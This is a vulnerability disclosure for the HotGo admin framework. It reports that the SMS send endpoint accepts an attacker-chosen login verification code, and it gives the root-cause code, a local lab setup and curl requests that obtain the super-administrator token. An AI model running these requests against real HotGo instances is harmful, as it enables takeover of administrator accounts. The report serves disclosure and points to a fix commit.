HotGo Vulnerability Report

Software: HotGo

Developer or vendor: bufanyun

Code repository: https://github.com/bufanyun/hotgo

1. Login SMS Verification Code Content Can Be Specified by an Attacker

Brief description:The content of the login SMS verification code can be specified by an attacker, which leads to account takeover.
Affected versions:v2.8.4 to v2.15.1
Preconditions:The target instance has an SMS provider configured, and the attacker knows the mobile number of the target administrator.
Fix:hotgo commit cb57056c

Root Cause

Since v2.8.4, the request body of the /sms/send endpoint contains SendCodeInp, which lets the caller specify the verification code:

# server/internal/model/input/sysin/sms_log.go:72-77    commit 373d962d0b
type SendCodeInp struct {
	Event    string `json:"event"     description:"事件"`
	Mobile   string `json:"mobile"    description:"手机号"`
	Code     string `json:"code"      description:"验证码或短信内容"`
	Template string `json:"-"         description:"发信模板 "`
}

SendCode generates a random code only when the caller does not pass Code, and a supplied value is written to hg_sys_sms_log as is:

# server/internal/logic/sys/sms_log.go:165-182    commit 373d962d0b
	if in.Code == "" {
		in.Code = grand.Digits(4)
	}

	if err = sms.New(config.SmsDrive).SendCode(ctx, in); err != nil {
		return
	}

	var data = new(entity.SysSmsLog)
	data.Event = in.Event
	data.Mobile = in.Mobile
	data.Code = in.Code
	data.Ip = location.GetClientIp(ghttp.RequestFromCtx(ctx))
	data.Status = consts.SmsStatusNotUsed
	data.CreatedAt = gtime.Now()
	data.UpdatedAt = gtime.Now()

	_, err = dao.SysSmsLog.Ctx(ctx).Data(data).Insert()
	return

The attacker can therefore log in with a verification code of their own choosing.

The code defect has existed since v2.8.4, but commit dc20a86 introduced a bug that breaks the SMS verification code flow. This vulnerability therefore no longer applies from that commit onward.

Reproduction Environment

The affected range is v2.8.4 to v2.15.1. Check out 373d962 (v2.8.4), the lower bound of that range:

git clone https://github.com/bufanyun/hotgo.git
cd hotgo
git checkout 373d962

docker-compose.yaml is:

name: hotgo-284

services:
  mysql:
    image: mysql:8.0
    command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
    environment:
      MYSQL_ROOT_PASSWORD: root123
      MYSQL_DATABASE: hotgo
      MYSQL_USER: hotgo
      MYSQL_PASSWORD: hg123456
    ports:
      - "13307:3306"
    volumes:
      - ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro
      - mysql_data:/var/lib/mysql
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123"]
      interval: 5s
      timeout: 5s
      retries: 30

volumes:
  mysql_data:

init.sql is taken from server/storage/data/hotgo.sql. Start the database and build the server:

cp server/storage/data/hotgo.sql init.sql
docker compose up -d
cd server && go build -o hotgo .

server/manifest/config/config.yaml is copied from config.example.yaml, with the database address pointing at 127.0.0.1:13307:

database:
  default:
    link: "mysql:hotgo:hg123456.@tcp(127.0.0.1:13307)/hotgo?loc=Local&parseTime=true&charset=utf8mb4"
    Prefix: "hg_"

After the server starts, set the provider to Tencent Cloud in the SMS settings of the admin panel and fill in any non-empty APPID and keys so that SendCode completes the send. The lab uses a local HTTPS service to emulate the Tencent Cloud SMS API. Point sms.tencentcloudapi.com at that host and keep smsTencentEndpoint at its default value. The service only needs to return the following for any POST request:

{"Response":{"SendStatusSet":[{"Code":"Ok","Message":"send success","SerialNo":"s1","Fee":1,"SessionContext":"","Mobile":"+86","NationCode":"86"}],"RequestId":"stub-req"}}

Go verifies the server certificate, so start the server with SSL_CERT_FILE pointing at the root certificate that signed the service certificate.

Reproduction

Call the SMS send endpoint with the code set to 8888, addressed to the administrator 15300000000:

curl -s -X POST http://127.0.0.1:8300/admin/sms/send \
  -H 'Content-Type: application/json' \
  -d '{"event":"login","mobile":"15300000000","code":"8888"}'
{"code":0,"message":"操作成功","data":null,"timestamp":1793589877,"traceID":"a139e5947d1ce418c5dbfc342b432d72"}

Log in with 8888 as the verification code:

curl -s -X POST http://127.0.0.1:8300/admin/site/mobileLogin \
  -H 'Content-Type: application/json' \
  -d '{"mobile":"15300000000","code":"8888"}'

The response returns the login credential of admin:

{"code":0,"message":"操作成功","data":{"id":1,"username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicGlkIjowLCJkZXB0SWQiOjEwMCwicm9sZUlkIjoxLCJyb2xlS2V5Ijoic3VwZXIiLCJ1c2VybmFtZSI6ImFkbWluIi...}}

Use that token to read the administrator profile and confirm the identity is the super administrator:

curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8300/admin/member/info
{"code":0,"message":"操作成功","data":{"id":1,"deptName":"hotgo","roleName":"超级管理员","permissions":["dashboard","/console/stat","dashboard_workplace","/dept/list","/post/list","/role/list","/member/list",...]}}